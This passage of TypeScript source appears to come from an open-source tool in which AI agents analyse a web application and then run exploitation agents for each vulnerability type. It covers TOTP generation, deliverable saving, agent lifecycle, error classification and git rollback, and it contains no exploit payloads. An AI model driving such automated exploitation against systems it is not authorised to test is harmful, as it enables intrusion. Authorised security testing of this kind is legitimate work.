// Generate HMAC-SHA1
const hmac = createHmac('sha1', key);
hmac.update(counterBuffer);
const hash = hmac.digest();
// Dynamic truncation (SHA-1 always produces 20 bytes)
const lastByte = hash[hash.length - 1] ?? 0;
const offset = lastByte & 0x0f;
const code =
(((hash[offset] ?? 0) & 0x7f) << 24) |
(((hash[offset + 1] ?? 0) & 0xff) << 16) |
(((hash[offset + 2] ?? 0) & 0xff) << 8) |
((hash[offset + 3] ?? 0) & 0xff);
return (code % 10 ** digits).toString().padStart(digits, '0');
}
function generateTOTP(secret: string, timeStep: number = 30, digits: number = 6): string {
const counter = Math.floor(Date.now() / 1000 / timeStep);
return generateHOTP(secret, counter, digits);
}
// === Argument Parsing ===
function parseSecret(argv: string[]): string {
for (let i = 2; i < argv.length; i++) {
const next = argv[i + 1];
if (argv[i] === '--secret' && next) {
return next;
}
}
return '';
}
// === Main ===
function main(): void {
const secret = parseSecret(process.argv);
if (!secret) {
console.log(JSON.stringify({ status: 'error', message: 'Missing required --secret argument', retryable: false }));
process.exit(1);
}
const base32Regex = /^[A-Z2-7]+$/i;
if (!base32Regex.test(secret)) {
console.log(
JSON.stringify({
status: 'error',
message: 'Secret must be base32-encoded (characters A-Z and 2-7)',
retryable: false,
}),
);
process.exit(1);
}
try {
const totpCode = generateTOTP(secret);
const expiresIn = 30 - (Math.floor(Date.now() / 1000) % 30);
console.log(
JSON.stringify({
status: 'success',
totpCode,
expiresIn,
}),
);
} catch (error) {
const msg = error instanceof Error ? error.message : String(error);
console.log(JSON.stringify({ status: 'error', message: `TOTP generation failed: ${msg}`, retryable: false }));
process.exit(1);
}
}
main();
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#!/usr/bin/env node
// Copyright (C) 2025 Keygraph, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License version 3
// as published by the Free Software Foundation.
/**
* save-deliverable CLI
*
* Standalone script to save deliverable files with validation.
* Replaces the MCP save_deliverable tool.
*
* Usage:
* node save-deliverable.js --type INJECTION_QUEUE --content '{"vulnerabilities": [...]}'
* node save-deliverable.js --type INJECTION_ANALYSIS --file-path deliverables/injection_analysis_deliverable.md
*/
import { mkdirSync, readFileSync, writeFileSync } from 'node:fs';
import { join, resolve } from 'node:path';
import { DELIVERABLE_FILENAMES, type DeliverableType, isQueueType } from '../types/deliverables.js';
// === Argument Parsing ===
interface ParsedArgs {
type: string;
content?: string;
filePath?: string;
}
function parseArgs(argv: string[]): ParsedArgs {
const args: ParsedArgs = { type: '' };
for (let i = 2; i < argv.length; i++) {
const arg = argv[i];
const next = argv[i + 1];
if (arg === '--type' && next) {
args.type = next;
i++;
} else if (arg === '--content' && next) {
args.content = next;
i++;
} else if (arg === '--file-path' && next) {
args.filePath = next;
i++;
}
}
return args;
}
// === Queue Validation ===
interface ValidationResult {
valid: boolean;
message?: string;
}
function validateQueueJson(content: string): ValidationResult {
try {
const parsed = JSON.parse(content) as unknown;
if (typeof parsed !== 'object' || parsed === null) {
return {
valid: false,
message: `Invalid queue structure: Expected an object. Got: ${typeof parsed}`,
};
}
const obj = parsed as Record<string, unknown>;
if (!('vulnerabilities' in obj)) {
return {
valid: false,
message: `Invalid queue structure: Missing 'vulnerabilities' property. Expected: {"vulnerabilities": [...]}`,
};
}
if (!Array.isArray(obj.vulnerabilities)) {
return {
valid: false,
message: `Invalid queue structure: 'vulnerabilities' must be an array. Expected: {"vulnerabilities": [...]}`,
};
}
return { valid: true };
} catch (error) {
return {
valid: false,
message: `Invalid JSON: ${error instanceof Error ? error.message : String(error)}`,
};
}
}
// === File Operations ===
function saveDeliverableFile(targetDir: string, filename: string, content: string): string {
const deliverablesDir = join(targetDir, 'deliverables');
const filepath = join(deliverablesDir, filename);
try {
mkdirSync(deliverablesDir, { recursive: true });
} catch {
throw new Error(`Cannot create deliverables directory at ${deliverablesDir}`);
}
writeFileSync(filepath, content, 'utf8');
return filepath;
}
// === Main ===
function main(): void {
const args = parseArgs(process.argv);
// 1. Validate --type
if (!args.type) {
console.log(JSON.stringify({ status: 'error', message: 'Missing required --type argument', retryable: false }));
process.exit(1);
}
const deliverableType = args.type as DeliverableType;
const filename = DELIVERABLE_FILENAMES[deliverableType];
if (!filename) {
console.log(
JSON.stringify({ status: 'error', message: `Unknown deliverable type: ${args.type}`, retryable: false }),
);
process.exit(1);
}
// 2. Resolve content from --content or --file-path
let content: string;
if (args.content) {
content = args.content;
} else if (args.filePath) {
// Path traversal protection: must resolve inside cwd
const cwd = process.cwd();
const resolved = resolve(cwd, args.filePath);
if (!resolved.startsWith(`${cwd}/`) && resolved !== cwd) {
console.log(
JSON.stringify({ status: 'error', message: `Path traversal detected: ${args.filePath}`, retryable: false }),
);
process.exit(1);
}
try {
content = readFileSync(resolved, 'utf8');
} catch (error) {
const msg = error instanceof Error ? error.message : String(error);
console.log(JSON.stringify({ status: 'error', message: `Failed to read file: ${msg}`, retryable: true }));
process.exit(1);
}
} else {
console.log(
JSON.stringify({
status: 'error',
message: 'Either --content or --file-path is required',
retryable: false,
}),
);
process.exit(1);
}
// 3. Validate queue types
let validated = false;
if (isQueueType(args.type)) {
const validation = validateQueueJson(content);
if (!validation.valid) {
console.log(JSON.stringify({ status: 'error', message: validation.message, retryable: true }));
process.exit(1);
}
validated = true;
}
// 4. Save the file
try {
const targetDir = process.cwd();
const filepath = saveDeliverableFile(targetDir, filename, content);
console.log(JSON.stringify({ status: 'success', filepath, validated }));
} catch (error) {
const msg = error instanceof Error ? error.message : String(error);
console.log(JSON.stringify({ status: 'error', message: `Failed to save: ${msg}`, retryable: true }));
process.exit(1);
}
}
main();
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// Copyright (C) 2025 Keygraph, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License version 3
// as published by the Free Software Foundation.
/**
* Agent Execution Service
*
* Handles the full agent lifecycle:
* - Load config via ConfigLoaderService
* - Load prompt template using AGENTS[agentName].promptTemplate
* - Create git checkpoint
* - Start audit logging
* - Invoke Claude SDK via runClaudePrompt
* - Spending cap check using isSpendingCapBehavior
* - Handle failure (rollback, audit)
* - Validate output using AGENTS[agentName].deliverableFilename
* - Commit on success, log metrics
*
* No Temporal dependencies - pure domain logic.
*/
import { type ClaudePromptResult, runClaudePrompt, validateAgentOutput } from '../ai/claude-executor.js';
import type { AuditSession } from '../audit/index.js';
import { AGENTS } from '../session-manager.js';
import type { ActivityLogger } from '../types/activity-logger.js';
import type { AgentName } from '../types/agents.js';
import type { AgentEndResult } from '../types/audit.js';
import { ErrorCode, type PentestErrorType } from '../types/errors.js';
import type { AgentMetrics } from '../types/metrics.js';
import { err, isErr, ok, type Result } from '../types/result.js';
import { isSpendingCapBehavior } from '../utils/billing-detection.js';
import type { ConfigLoaderService } from './config-loader.js';
import { PentestError } from './error-handling.js';
import { commitGitSuccess, createGitCheckpoint, getGitCommitHash, rollbackGitWorkspace } from './git-manager.js';
import { loadPrompt } from './prompt-manager.js';
/**
* Input for agent execution.
*/
export interface AgentExecutionInput {
webUrl: string;
repoPath: string;
configPath?: string | undefined;
pipelineTestingMode?: boolean | undefined;
attemptNumber: number;
}
interface FailAgentOpts {
attemptNumber: number;
result: ClaudePromptResult;
rollbackReason: string;
errorMessage: string;
errorCode: ErrorCode;
category: PentestErrorType;
retryable: boolean;
context: Record<string, unknown>;
}
/**
* Service for executing agents with full lifecycle management.
*
* NOTE: AuditSession is passed per-execution, NOT stored on the service.
* This is critical for parallel agent execution - each agent needs its own
* AuditSession instance because AuditSession uses instance state (currentAgentName)
* to track which agent is currently logging.
*/
export class AgentExecutionService {
private readonly configLoader: ConfigLoaderService;
constructor(configLoader: ConfigLoaderService) {
this.configLoader = configLoader;
}
/**
* Execute an agent with full lifecycle management.
*
* @param agentName - Name of the agent to execute
* @param input - Execution input parameters
* @param auditSession - Audit session for this specific agent execution
* @returns Result containing AgentEndResult on success, PentestError on failure
*/
async execute(
agentName: AgentName,
input: AgentExecutionInput,
auditSession: AuditSession,
logger: ActivityLogger,
): Promise<Result<AgentEndResult, PentestError>> {
const { webUrl, repoPath, configPath, pipelineTestingMode = false, attemptNumber } = input;
// 1. Load config (if provided)
const configResult = await this.configLoader.loadOptional(configPath);
if (isErr(configResult)) {
return configResult;
}
const distributedConfig = configResult.value;
// 2. Load prompt
const promptTemplate = AGENTS[agentName].promptTemplate;
let prompt: string;
try {
prompt = await loadPrompt(promptTemplate, { webUrl, repoPath }, distributedConfig, pipelineTestingMode, logger);
} catch (error) {
const errorMessage = error instanceof Error ? error.message : String(error);
return err(
new PentestError(
`Failed to load prompt for ${agentName}: ${errorMessage}`,
'prompt',
false,
{ agentName, promptTemplate, originalError: errorMessage },
ErrorCode.PROMPT_LOAD_FAILED,
),
);
}
// 3. Create git checkpoint before execution
try {
await createGitCheckpoint(repoPath, agentName, attemptNumber, logger);
} catch (error) {
const errorMessage = error instanceof Error ? error.message : String(error);
return err(
new PentestError(
`Failed to create git checkpoint for ${agentName}: ${errorMessage}`,
'filesystem',
false,
{ agentName, repoPath, originalError: errorMessage },
ErrorCode.GIT_CHECKPOINT_FAILED,
),
);
}
// 4. Start audit logging
await auditSession.startAgent(agentName, prompt, attemptNumber);
// 5. Execute agent
const result: ClaudePromptResult = await runClaudePrompt(
prompt,
repoPath,
'', // context
agentName, // description
agentName,
auditSession,
logger,
AGENTS[agentName].modelTier,
);
// 6. Spending cap check - defense-in-depth
if (result.success && (result.turns ?? 0) <= 2 && (result.cost || 0) === 0) {
const resultText = result.result || '';
if (isSpendingCapBehavior(result.turns ?? 0, result.cost || 0, resultText)) {
return this.failAgent(agentName, repoPath, auditSession, logger, {
attemptNumber,
result,
rollbackReason: 'spending cap detected',
errorMessage: `Spending cap likely reached: ${resultText.slice(0, 100)}`,
errorCode: ErrorCode.SPENDING_CAP_REACHED,
category: 'billing',
retryable: true,
context: { agentName, turns: result.turns, cost: result.cost },
});
}
}
// 7. Handle execution failure
if (!result.success) {
return this.failAgent(agentName, repoPath, auditSession, logger, {
attemptNumber,
result,
rollbackReason: 'execution failure',
errorMessage: result.error || 'Agent execution failed',
errorCode: ErrorCode.AGENT_EXECUTION_FAILED,
category: 'validation',
retryable: result.retryable ?? true,
context: { agentName, originalError: result.error },
});
}
// 8. Validate output
const validationPassed = await validateAgentOutput(result, agentName, repoPath, logger);
if (!validationPassed) {
return this.failAgent(agentName, repoPath, auditSession, logger, {
attemptNumber,
result,
rollbackReason: 'validation failure',
errorMessage: `Agent ${agentName} failed output validation`,
errorCode: ErrorCode.OUTPUT_VALIDATION_FAILED,
category: 'validation',
retryable: true,
context: { agentName, deliverableFilename: AGENTS[agentName].deliverableFilename },
});
}
// 9. Success - commit deliverables, then capture checkpoint hash
await commitGitSuccess(repoPath, agentName, logger);
const commitHash = await getGitCommitHash(repoPath);
const endResult: AgentEndResult = {
attemptNumber,
duration_ms: result.duration,
cost_usd: result.cost || 0,
success: true,
model: result.model,
...(commitHash && { checkpoint: commitHash }),
};
await auditSession.endAgent(agentName, endResult);
return ok(endResult);
}
private async failAgent(
agentName: AgentName,
repoPath: string,
auditSession: AuditSession,
logger: ActivityLogger,
opts: FailAgentOpts,
): Promise<Result<AgentEndResult, PentestError>> {
await rollbackGitWorkspace(repoPath, opts.rollbackReason, logger);
const endResult: AgentEndResult = {
attemptNumber: opts.attemptNumber,
duration_ms: opts.result.duration,
cost_usd: opts.result.cost || 0,
success: false,
model: opts.result.model,
error: opts.errorMessage,
};
await auditSession.endAgent(agentName, endResult);
return err(new PentestError(opts.errorMessage, opts.category, opts.retryable, opts.context, opts.errorCode));
}
/**
* Execute an agent, throwing PentestError on failure.
*
* This is the preferred method for Temporal activities, which need to
* catch errors and classify them into ApplicationFailure. Avoids requiring
* activities to import Result utilities, keeping the boundary clean.
*
* @param agentName - Name of the agent to execute
* @param input - Execution input parameters
* @param auditSession - Audit session for this specific agent execution
* @returns AgentEndResult on success
* @throws PentestError on failure
*/
async executeOrThrow(
agentName: AgentName,
input: AgentExecutionInput,
auditSession: AuditSession,
logger: ActivityLogger,
): Promise<AgentEndResult> {
const result = await this.execute(agentName, input, auditSession, logger);
if (isErr(result)) {
throw result.error;
}
return result.value;
}
/**
* Convert AgentEndResult to AgentMetrics for workflow state.
*/
static toMetrics(endResult: AgentEndResult, result: ClaudePromptResult): AgentMetrics {
return {
durationMs: endResult.duration_ms,
inputTokens: null, // Not currently exposed by SDK wrapper
outputTokens: null,
costUsd: endResult.cost_usd,
numTurns: result.turns ?? null,
model: result.model,
};
}
}
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// Copyright (C) 2025 Keygraph, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License version 3
// as published by the Free Software Foundation.
/**
* Config Loader Service
*
* Wraps parseConfig + distributeConfig with Result type for explicit error handling.
* Pure service with no Temporal dependencies.
*/
import { distributeConfig, parseConfig } from '../config-parser.js';
import type { DistributedConfig } from '../types/config.js';
import { ErrorCode } from '../types/errors.js';
import { err, ok, type Result } from '../types/result.js';
import { PentestError } from './error-handling.js';
/**
* Service for loading and distributing configuration files.
*
* Provides a Result-based API for explicit error handling,
* allowing callers to decide how to handle failures.
*/
export class ConfigLoaderService {
/**
* Load and distribute a configuration file.
*
* @param configPath - Path to the YAML configuration file
* @returns Result containing DistributedConfig on success, PentestError on failure
*/
async load(configPath: string): Promise<Result<DistributedConfig, PentestError>> {
try {
const config = await parseConfig(configPath);
const distributed = distributeConfig(config);
return ok(distributed);
} catch (error) {
const errorMessage = error instanceof Error ? error.message : String(error);
// Determine appropriate error code based on error message
let errorCode = ErrorCode.CONFIG_PARSE_ERROR;
if (errorMessage.includes('not found') || errorMessage.includes('ENOENT')) {
errorCode = ErrorCode.CONFIG_NOT_FOUND;
} else if (errorMessage.includes('validation failed')) {
errorCode = ErrorCode.CONFIG_VALIDATION_FAILED;
}
return err(
new PentestError(
`Failed to load config ${configPath}: ${errorMessage}`,
'config',
false,
{ configPath, originalError: errorMessage },
errorCode,
),
);
}
}
/**
* Load config if path is provided, otherwise return null config.
*
* @param configPath - Optional path to the YAML configuration file
* @returns Result containing DistributedConfig (or null) on success, PentestError on failure
*/
async loadOptional(configPath: string | undefined): Promise<Result<DistributedConfig | null, PentestError>> {
if (!configPath) {
return ok(null);
}
return this.load(configPath);
}
}
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// Copyright (C) 2025 Keygraph, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License version 3
// as published by the Free Software Foundation.
/**
* Dependency Injection Container
*
* Provides a per-workflow container for service instances.
* Services are wired with explicit constructor injection.
*
* Usage:
* const container = getOrCreateContainer(workflowId, sessionMetadata);
* const auditSession = new AuditSession(sessionMetadata); // Per-agent
* await auditSession.initialize(workflowId);
* const result = await container.agentExecution.executeOrThrow(agentName, input, auditSession);
*/
import type { SessionMetadata } from '../audit/utils.js';
import { AgentExecutionService } from './agent-execution.js';
import { ConfigLoaderService } from './config-loader.js';
import { ExploitationCheckerService } from './exploitation-checker.js';
/**
* Dependencies required to create a Container.
*
* NOTE: AuditSession is NOT stored in the container.
* Each agent execution receives its own AuditSession instance
* because AuditSession uses instance state (currentAgentName) that
* cannot be shared across parallel agents.
*/
export interface ContainerDependencies {
readonly sessionMetadata: SessionMetadata;
}
/**
* DI Container for a single workflow.
*
* Holds all service instances for the workflow lifecycle.
* Services are instantiated once and reused across agent executions.
*
* NOTE: AuditSession is NOT stored here - it's passed per agent execution
* to support parallel agents each having their own logging context.
*/
export class Container {
readonly sessionMetadata: SessionMetadata;
readonly agentExecution: AgentExecutionService;
readonly configLoader: ConfigLoaderService;
readonly exploitationChecker: ExploitationCheckerService;
constructor(deps: ContainerDependencies) {
this.sessionMetadata = deps.sessionMetadata;
// Wire services with explicit constructor injection
this.configLoader = new ConfigLoaderService();
this.exploitationChecker = new ExploitationCheckerService();
this.agentExecution = new AgentExecutionService(this.configLoader);
}
}
/**
* Map of workflowId to Container instance.
* Each workflow gets its own container scoped to its lifecycle.
*/
const containers = new Map<string, Container>();
/**
* Get or create a Container for a workflow.
*
* If a container already exists for the workflowId, returns it.
* Otherwise, creates a new container with the provided dependencies.
*
* @param workflowId - Unique workflow identifier
* @param sessionMetadata - Session metadata for audit paths
* @returns Container instance for the workflow
*/
export function getOrCreateContainer(workflowId: string, sessionMetadata: SessionMetadata): Container {
let container = containers.get(workflowId);
if (!container) {
container = new Container({ sessionMetadata });
containers.set(workflowId, container);
}
return container;
}
/**
* Remove a Container when a workflow completes.
*
* Should be called in logWorkflowComplete to clean up resources.
*
* @param workflowId - Unique workflow identifier
*/
export function removeContainer(workflowId: string): void {
containers.delete(workflowId);
}
/**
* Get an existing Container for a workflow, if one exists.
*
* Unlike getOrCreateContainer, this does NOT create a new container.
* Returns undefined if no container exists for the workflowId.
*
* Useful for lightweight activities that can benefit from an existing
* container but don't need to create one.
*
* @param workflowId - Unique workflow identifier
* @returns Container instance or undefined
*/
export function getContainer(workflowId: string): Container | undefined {
return containers.get(workflowId);
}
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// Copyright (C) 2025 Keygraph, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License version 3
// as published by the Free Software Foundation.
import { ErrorCode, type PentestErrorContext, type PentestErrorType, type PromptErrorResult } from '../types/errors.js';
import { matchesBillingApiPattern, matchesBillingTextPattern } from '../utils/billing-detection.js';
export class PentestError extends Error {
override name = 'PentestError' as const;
type: PentestErrorType;
retryable: boolean;
context: PentestErrorContext;
timestamp: string;
/** Optional specific error code for reliable classification */
code?: ErrorCode;
constructor(
message: string,
type: PentestErrorType,
retryable: boolean = false,
context: PentestErrorContext = {},
code?: ErrorCode,
) {
super(message);
this.type = type;
this.retryable = retryable;
this.context = context;
this.timestamp = new Date().toISOString();
if (code !== undefined) {
this.code = code;
}
}
}
export function handlePromptError(promptName: string, error: Error): PromptErrorResult {
return {
success: false,
error: new PentestError(`Failed to load prompt '${promptName}': ${error.message}`, 'prompt', false, {
promptName,
originalError: error.message,
}),
};
}
const RETRYABLE_PATTERNS = [
// Network and connection errors
'network',
'connection',
'timeout',
'econnreset',
'enotfound',
'econnrefused',
// Rate limiting
'rate limit',
'429',
'too many requests',
// Server errors
'server error',
'5xx',
'internal server error',
'service unavailable',
'bad gateway',
// Claude API errors
'model unavailable',
'service temporarily unavailable',
'api error',
'terminated',
// Max turns
'max turns',
'maximum turns',
];
// Patterns that indicate non-retryable errors (checked before default)
const NON_RETRYABLE_PATTERNS = [
'authentication',
'invalid prompt',
'out of memory',
'permission denied',
'session limit reached',
'invalid api key',
];
// Conservative retry classification - unknown errors don't retry (fail-safe default)
export function isRetryableError(error: Error): boolean {
const message = error.message.toLowerCase();
if (NON_RETRYABLE_PATTERNS.some((pattern) => message.includes(pattern))) {
return false;
}
return RETRYABLE_PATTERNS.some((pattern) => message.includes(pattern));
}
/**
* Classifies errors by ErrorCode for reliable, code-based classification.
* Used when error is a PentestError with a specific ErrorCode.
*/
function classifyByErrorCode(code: ErrorCode, retryableFromError: boolean): { type: string; retryable: boolean } {
switch (code) {
// Billing errors - retryable (wait for cap reset or credits added)
case ErrorCode.SPENDING_CAP_REACHED:
case ErrorCode.INSUFFICIENT_CREDITS:
return { type: 'BillingError', retryable: true };
case ErrorCode.API_RATE_LIMITED:
return { type: 'RateLimitError', retryable: true };
// Config errors - non-retryable (need manual fix)
case ErrorCode.CONFIG_NOT_FOUND:
case ErrorCode.CONFIG_VALIDATION_FAILED:
case ErrorCode.CONFIG_PARSE_ERROR:
return { type: 'ConfigurationError', retryable: false };
// Prompt errors - non-retryable (need manual fix)
case ErrorCode.PROMPT_LOAD_FAILED:
return { type: 'ConfigurationError', retryable: false };
// Git errors - non-retryable (indicates workspace corruption)
case ErrorCode.GIT_CHECKPOINT_FAILED:
case ErrorCode.GIT_ROLLBACK_FAILED:
return { type: 'GitError', retryable: false };
// Validation errors - retryable (agent may succeed on retry)
case ErrorCode.OUTPUT_VALIDATION_FAILED:
case ErrorCode.DELIVERABLE_NOT_FOUND:
return { type: 'OutputValidationError', retryable: true };
// Agent execution - use the retryable flag from the error
case ErrorCode.AGENT_EXECUTION_FAILED:
return { type: 'AgentExecutionError', retryable: retryableFromError };
// Preflight validation errors
case ErrorCode.REPO_NOT_FOUND:
return { type: 'ConfigurationError', retryable: false };
case ErrorCode.AUTH_FAILED:
return { type: 'AuthenticationError', retryable: false };
case ErrorCode.BILLING_ERROR:
return { type: 'BillingError', retryable: true };
default:
// Unknown code - fall through to string matching
return { type: 'UnknownError', retryable: retryableFromError };
}
}
/**
* Classifies errors for Temporal workflow retry behavior.
* Returns error type and whether Temporal should retry.
*
* Used by activities to wrap errors in ApplicationFailure:
* - Retryable errors: Temporal retries with configured backoff
* - Non-retryable errors: Temporal fails immediately
*
* Classification priority:
* 1. If error is PentestError with ErrorCode, classify by code (reliable)
* 2. Fall through to string matching for external errors (SDK, network, etc.)
*/
export function classifyErrorForTemporal(error: unknown): { type: string; retryable: boolean } {
// === CODE-BASED CLASSIFICATION (Preferred for internal errors) ===
if (error instanceof PentestError && error.code !== undefined) {
return classifyByErrorCode(error.code, error.retryable);
}
// === STRING-BASED CLASSIFICATION (Fallback for external errors) ===
const message = (error instanceof Error ? error.message : String(error)).toLowerCase();
// === BILLING ERRORS (Retryable with long backoff) ===
// Anthropic returns billing as 400 invalid_request_error
// Human can add credits OR wait for spending cap to reset (5-30 min backoff)
// Check both API patterns and text patterns for comprehensive detection
if (matchesBillingApiPattern(message) || matchesBillingTextPattern(message)) {
return { type: 'BillingError', retryable: true };
}
// === PERMANENT ERRORS (Non-retryable) ===
// Authentication (401) - bad API key won't fix itself
if (
message.includes('authentication') ||
message.includes('api key') ||
message.includes('401') ||
message.includes('authentication_error')
) {
return { type: 'AuthenticationError', retryable: false };
}
// Permission (403) - access won't be granted
if (message.includes('permission') || message.includes('forbidden') || message.includes('403')) {
return { type: 'PermissionError', retryable: false };
}
// === OUTPUT VALIDATION ERRORS (Retryable) ===
// Agent didn't produce expected deliverables - retry may succeed
// IMPORTANT: Must come BEFORE generic 'validation' check below
if (message.includes('failed output validation') || message.includes('output validation failed')) {
return { type: 'OutputValidationError', retryable: true };
}
// Invalid Request (400) - malformed request is permanent
// Note: Checked AFTER billing and AFTER output validation
if (message.includes('invalid_request_error') || message.includes('malformed') || message.includes('validation')) {
return { type: 'InvalidRequestError', retryable: false };
}
// Request Too Large (413) - won't fit no matter how many retries
if (message.includes('request_too_large') || message.includes('too large') || message.includes('413')) {
return { type: 'RequestTooLargeError', retryable: false };
}
// Configuration errors - missing files need manual fix
if (message.includes('enoent') || message.includes('no such file') || message.includes('cli not installed')) {
return { type: 'ConfigurationError', retryable: false };
}
// Execution limits - max turns/budget reached
if (
message.includes('max turns') ||
message.includes('budget') ||
message.includes('execution limit') ||
message.includes('error_max_turns') ||
message.includes('error_max_budget')
) {
return { type: 'ExecutionLimitError', retryable: false };
}
// Invalid target URL - bad URL format won't fix itself
if (
message.includes('invalid url') ||
message.includes('invalid target') ||
message.includes('malformed url') ||
message.includes('invalid uri')
) {
return { type: 'InvalidTargetError', retryable: false };
}
// === TRANSIENT ERRORS (Retryable) ===
// Rate limits (429), server errors (5xx), network issues
// Let Temporal retry with configured backoff
return { type: 'TransientError', retryable: true };
}
@@ -0,0 +1,67 @@
// Copyright (C) 2025 Keygraph, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License version 3
// as published by the Free Software Foundation.
/**
* Exploitation Checker Service
*
* Pure domain logic for determining whether exploitation should run.
* Reads queue file, parses JSON, returns decision.
*
* No Temporal dependencies - this is pure business logic.
*/
import type { ActivityLogger } from '../types/activity-logger.js';
import { isOk } from '../types/result.js';
import { type ExploitationDecision, type VulnType, validateQueueSafe } from './queue-validation.js';
/**
* Service for checking exploitation queue decisions.
*
* Determines whether an exploit agent should run based on
* the vulnerability analysis deliverables and queue files.
*/
export class ExploitationCheckerService {
/**
* Check if exploitation should run for a given vulnerability type.
*
* Reads the vulnerability queue file and returns the decision.
* This is pure domain logic - reads queue file, parses JSON, returns decision.
*
* @param vulnType - Type of vulnerability (injection, xss, auth, ssrf, authz)
* @param repoPath - Path to the repository containing deliverables
* @param logger - ActivityLogger for structured logging
* @returns ExploitationDecision indicating whether to exploit
* @throws PentestError if validation fails and is retryable
*/
async checkQueue(vulnType: VulnType, repoPath: string, logger: ActivityLogger): Promise<ExploitationDecision> {
const result = await validateQueueSafe(vulnType, repoPath);
if (isOk(result)) {
const decision = result.value;
logger.info(
`${vulnType}: ${decision.shouldExploit ? `${decision.vulnerabilityCount} vulnerabilities found` : 'no vulnerabilities, skipping exploitation'}`,
);
return decision;
}
// Validation failed - check if we should retry or skip
const error = result.error;
if (error.retryable) {
// Re-throw retryable errors so caller can handle retry
logger.warn(`${vulnType}: ${error.message} (retryable)`);
throw error;
}
// Non-retryable error - skip exploitation gracefully
logger.warn(`${vulnType}: ${error.message}, skipping exploitation`);
return {
shouldExploit: false,
shouldRetry: false,
vulnerabilityCount: 0,
vulnType,
};
}
}
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// Copyright (C) 2025 Keygraph, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License version 3
// as published by the Free Software Foundation.
import { $ } from 'zx';
import type { ActivityLogger } from '../types/activity-logger.js';
import { ErrorCode } from '../types/errors.js';
import { PentestError } from './error-handling.js';
/**
* Check if a directory is a git repository.
* Returns true if the directory contains a .git folder or is inside a git repo.
*/
export async function isGitRepository(dir: string): Promise<boolean> {
try {
await $`cd ${dir} && git rev-parse --git-dir`.quiet();
return true;
} catch {
return false;
}
}
interface GitOperationResult {
success: boolean;
hadChanges?: boolean;
error?: Error;
}
/**
* Get list of changed files from git status --porcelain output
*/
async function getChangedFiles(sourceDir: string, operationDescription: string): Promise<string[]> {
const status = await executeGitCommandWithRetry(['git', 'status', '--porcelain'], sourceDir, operationDescription);
return status.stdout
.trim()
.split('\n')
.filter((line) => line.length > 0);
}
/**
* Log a summary of changed files with truncation for long lists
*/
function logChangeSummary(
changes: string[],
messageWithChanges: string,
messageWithoutChanges: string,
logger: ActivityLogger,
level: 'info' | 'warn' = 'info',
maxToShow: number = 5,
): void {
if (changes.length > 0) {
const msg = messageWithChanges.replace('{count}', String(changes.length));
const fileList = changes
.slice(0, maxToShow)
.map((c) => ` ${c}`)
.join(', ');
const suffix = changes.length > maxToShow ? ` ... and ${changes.length - maxToShow} more files` : '';
logger[level](`${msg} ${fileList}${suffix}`);
} else {
logger[level](messageWithoutChanges);
}
}
/**
* Convert unknown error to GitOperationResult
*/
function toErrorResult(error: unknown): GitOperationResult {
const errMsg = error instanceof Error ? error.message : String(error);
return {
success: false,
error: error instanceof Error ? error : new Error(errMsg),
};
}
// Serializes git operations to prevent index.lock conflicts during parallel agent execution
class GitSemaphore {
private queue: Array<() => void> = [];
private running: boolean = false;
async acquire(): Promise<void> {
return new Promise((resolve) => {
this.queue.push(resolve);
this.process();
});
}
release(): void {
this.running = false;
this.process();
}
private process(): void {
if (!this.running && this.queue.length > 0) {
this.running = true;
const resolve = this.queue.shift();
resolve?.();
}
}
}
const gitSemaphore = new GitSemaphore();
const GIT_LOCK_ERROR_PATTERNS = [
'index.lock',
'unable to lock',
'Another git process',
'fatal: Unable to create',
'fatal: index file',
];
function isGitLockError(errorMessage: string): boolean {
return GIT_LOCK_ERROR_PATTERNS.some((pattern) => errorMessage.includes(pattern));
}
// Retries git commands on lock conflicts with exponential backoff
export async function executeGitCommandWithRetry(
commandArgs: string[],
sourceDir: string,
description: string,
maxRetries: number = 5,
): Promise<{ stdout: string; stderr: string }> {
await gitSemaphore.acquire();
try {
for (let attempt = 1; attempt <= maxRetries; attempt++) {
try {
const [cmd, ...args] = commandArgs;
const result = await $`cd ${sourceDir} && ${cmd} ${args}`;
return result;
} catch (error) {
const errMsg = error instanceof Error ? error.message : String(error);
if (isGitLockError(errMsg) && attempt < maxRetries) {
const delay = 2 ** (attempt - 1) * 1000;
// executeGitCommandWithRetry is also called outside activity context
// (e.g., from resume logic), so we use console.warn as a fallback here
console.warn(
`Git lock conflict during ${description} (attempt ${attempt}/${maxRetries}). Retrying in ${delay}ms...`,
);
await new Promise((resolve) => setTimeout(resolve, delay));
continue;
}
throw error;
}
}
throw new PentestError(
`Git command failed after ${maxRetries} retries`,
'filesystem',
true, // Retryable - transient git lock issues
{ maxRetries, description },
ErrorCode.GIT_CHECKPOINT_FAILED,
);
} finally {
gitSemaphore.release();
}
}
// Two-phase reset: hard reset (tracked files) + clean (untracked files)
export async function rollbackGitWorkspace(
sourceDir: string,
reason: string = 'retry preparation',
logger: ActivityLogger,
): Promise<GitOperationResult> {
// Skip git operations if not a git repository
if (!(await isGitRepository(sourceDir))) {
logger.info('Skipping git rollback (not a git repository)');
return { success: true };
}
logger.info(`Rolling back workspace for ${reason}`);
try {
const changes = await getChangedFiles(sourceDir, 'status check for rollback');
await executeGitCommandWithRetry(['git', 'reset', '--hard', 'HEAD'], sourceDir, 'hard reset for rollback');
await executeGitCommandWithRetry(['git', 'clean', '-fd'], sourceDir, 'cleaning untracked files for rollback');
logChangeSummary(
changes,
'Rollback completed - removed {count} contaminated changes:',
'Rollback completed - no changes to remove',
logger,
'info',
3,
);
return { success: true };
} catch (error) {
const errMsg = error instanceof Error ? error.message : String(error);
logger.error(`Rollback failed after retries: ${errMsg}`);
return {
success: false,
error: new PentestError(
`Git rollback failed: ${errMsg}`,
'filesystem',
false, // Non-retryable - rollback is best-effort cleanup
{ sourceDir, reason },
ErrorCode.GIT_ROLLBACK_FAILED,
),
};
}
}
// Creates checkpoint before each attempt. First attempt preserves workspace; retries clean it.
export async function createGitCheckpoint(
sourceDir: string,
description: string,
attempt: number,
logger: ActivityLogger,
): Promise<GitOperationResult> {
// Skip git operations if not a git repository
